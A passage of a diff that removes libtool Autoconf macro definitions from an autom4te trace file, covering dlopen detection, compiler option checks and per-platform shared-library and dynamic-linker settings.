- x$lt_dlunknown|x*) $3 ;;
- esac
- else :
- # compilation failed
- $3
- fi
-fi
-rm -fr conftest*
-])
-m4trace:acinclude.m4:1512: -1- AC_DEFUN([AC_LIBTOOL_DLOPEN_SELF], [AC_REQUIRE([_LT_AC_CHECK_DLFCN])dnl
-if test "x$enable_dlopen" != xyes; then
- enable_dlopen=unknown
- enable_dlopen_self=unknown
- enable_dlopen_self_static=unknown
-else
- lt_cv_dlopen=no
- lt_cv_dlopen_libs=
-
- case $host_os in
- beos*)
- lt_cv_dlopen="load_add_on"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
- ;;
-
- mingw* | pw32*)
- lt_cv_dlopen="LoadLibrary"
- lt_cv_dlopen_libs=
- ;;
-
- cygwin*)
- lt_cv_dlopen="dlopen"
- lt_cv_dlopen_libs=
- ;;
-
- darwin*)
- # if libdl is installed we need to link against it
- AC_CHECK_LIB([dl], [dlopen],
- [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],[
- lt_cv_dlopen="dyld"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
- ])
- ;;
-
- *)
- AC_CHECK_FUNC([shl_load],
- [lt_cv_dlopen="shl_load"],
- [AC_CHECK_LIB([dld], [shl_load],
- [lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"],
- [AC_CHECK_FUNC([dlopen],
- [lt_cv_dlopen="dlopen"],
- [AC_CHECK_LIB([dl], [dlopen],
- [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"],
- [AC_CHECK_LIB([svld], [dlopen],
- [lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"],
- [AC_CHECK_LIB([dld], [dld_link],
- [lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld"])
- ])
- ])
- ])
- ])
- ])
- ;;
- esac
-
- if test "x$lt_cv_dlopen" != xno; then
- enable_dlopen=yes
- else
- enable_dlopen=no
- fi
-
- case $lt_cv_dlopen in
- dlopen)
- save_CPPFLAGS="$CPPFLAGS"
- test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H"
-
- save_LDFLAGS="$LDFLAGS"
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\"
-
- save_LIBS="$LIBS"
- LIBS="$lt_cv_dlopen_libs $LIBS"
-
- AC_CACHE_CHECK([whether a program can dlopen itself],
- lt_cv_dlopen_self, [dnl
- _LT_AC_TRY_DLOPEN_SELF(
- lt_cv_dlopen_self=yes, lt_cv_dlopen_self=yes,
- lt_cv_dlopen_self=no, lt_cv_dlopen_self=cross)
- ])
-
- if test "x$lt_cv_dlopen_self" = xyes; then
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\"
- AC_CACHE_CHECK([whether a statically linked program can dlopen itself],
- lt_cv_dlopen_self_static, [dnl
- _LT_AC_TRY_DLOPEN_SELF(
- lt_cv_dlopen_self_static=yes, lt_cv_dlopen_self_static=yes,
- lt_cv_dlopen_self_static=no, lt_cv_dlopen_self_static=cross)
- ])
- fi
-
- CPPFLAGS="$save_CPPFLAGS"
- LDFLAGS="$save_LDFLAGS"
- LIBS="$save_LIBS"
- ;;
- esac
-
- case $lt_cv_dlopen_self in
- yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;;
- *) enable_dlopen_self=unknown ;;
- esac
-
- case $lt_cv_dlopen_self_static in
- yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;;
- *) enable_dlopen_self_static=unknown ;;
- esac
-fi
-])
-m4trace:acinclude.m4:1626: -1- AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O], [AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl
-AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext],
- [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)],
- [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&AS_MESSAGE_LOG_FD
- echo "$as_me:__oline__: \$? = $ac_status" >&AS_MESSAGE_LOG_FD
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=yes
- fi
- fi
- chmod u+w . 2>&AS_MESSAGE_LOG_FD
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-])
-])
-m4trace:acinclude.m4:1677: -1- AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], [AC_REQUIRE([_LT_AC_LOCK])dnl
-
-hard_links="nottested"
-if test "$_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- AC_MSG_CHECKING([if we can lock with hard links])
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- AC_MSG_RESULT([$hard_links])
- if test "$hard_links" = no; then
- AC_MSG_WARN([`$CC' does not support `-c -o', so `make -j' may be unsafe])
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-])
-m4trace:acinclude.m4:1703: -1- AC_DEFUN([AC_LIBTOOL_OBJDIR], [AC_CACHE_CHECK([for objdir], [lt_cv_objdir],
-[rm -f .libs 2>/dev/null
-mkdir .libs 2>/dev/null
-if test -d .libs; then
- lt_cv_objdir=.libs
-else
- # MS-DOS does not allow filenames that begin with a dot.
- lt_cv_objdir=_libs
-fi
-rmdir .libs 2>/dev/null])
-objdir=$lt_cv_objdir
-])
-m4trace:acinclude.m4:1721: -1- AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], [AC_MSG_CHECKING([how to hardcode library paths into programs])
-_LT_AC_TAGVAR(hardcode_action, $1)=
-if test -n "$_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)" || \
- test -n "$_LT_AC_TAGVAR(runpath_var, $1)" || \
- test "X$_LT_AC_TAGVAR(hardcode_automatic, $1)" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$_LT_AC_TAGVAR(hardcode_direct, $1)" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)" != no &&
- test "$_LT_AC_TAGVAR(hardcode_minus_L, $1)" != no; then
- # Linking always hardcodes the temporary library directory.
- _LT_AC_TAGVAR(hardcode_action, $1)=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- _LT_AC_TAGVAR(hardcode_action, $1)=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- _LT_AC_TAGVAR(hardcode_action, $1)=unsupported
-fi
-AC_MSG_RESULT([$_LT_AC_TAGVAR(hardcode_action, $1)])
-
-if test "$_LT_AC_TAGVAR(hardcode_action, $1)" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-])
-m4trace:acinclude.m4:1761: -1- AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP], [striplib=
-old_striplib=
-AC_MSG_CHECKING([whether stripping libraries is possible])
-if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then
- test -z "$old_striplib" && old_striplib="$STRIP --strip-debug"
- test -z "$striplib" && striplib="$STRIP --strip-unneeded"
- AC_MSG_RESULT([yes])
-else
-# FIXME - insert some real tests, host_os isn't really good enough
- case $host_os in
- darwin*)
- if test -n "$STRIP" ; then
- striplib="$STRIP -x"
- AC_MSG_RESULT([yes])
- else
- AC_MSG_RESULT([no])
-fi
- ;;
- *)
- AC_MSG_RESULT([no])
- ;;
- esac
-fi
-])
-m4trace:acinclude.m4:1791: -1- AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER], [AC_MSG_CHECKING([dynamic linker characteristics])
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[[01]] | aix4.[[01]].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[[45]]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | [grep ';[c-zC-Z]:/' >/dev/null]; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[[123]]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[[01]]* | freebsdelf3.[[01]]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[[2-9]]* | freebsdelf3.[[2-9]]* | \
- freebsd4.[[0-5]] | freebsdelf4.[[0-5]] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \[$]2)); skip = 1; } { if (!skip) print \[$]0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[[89]] | openbsd2.[[89]].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
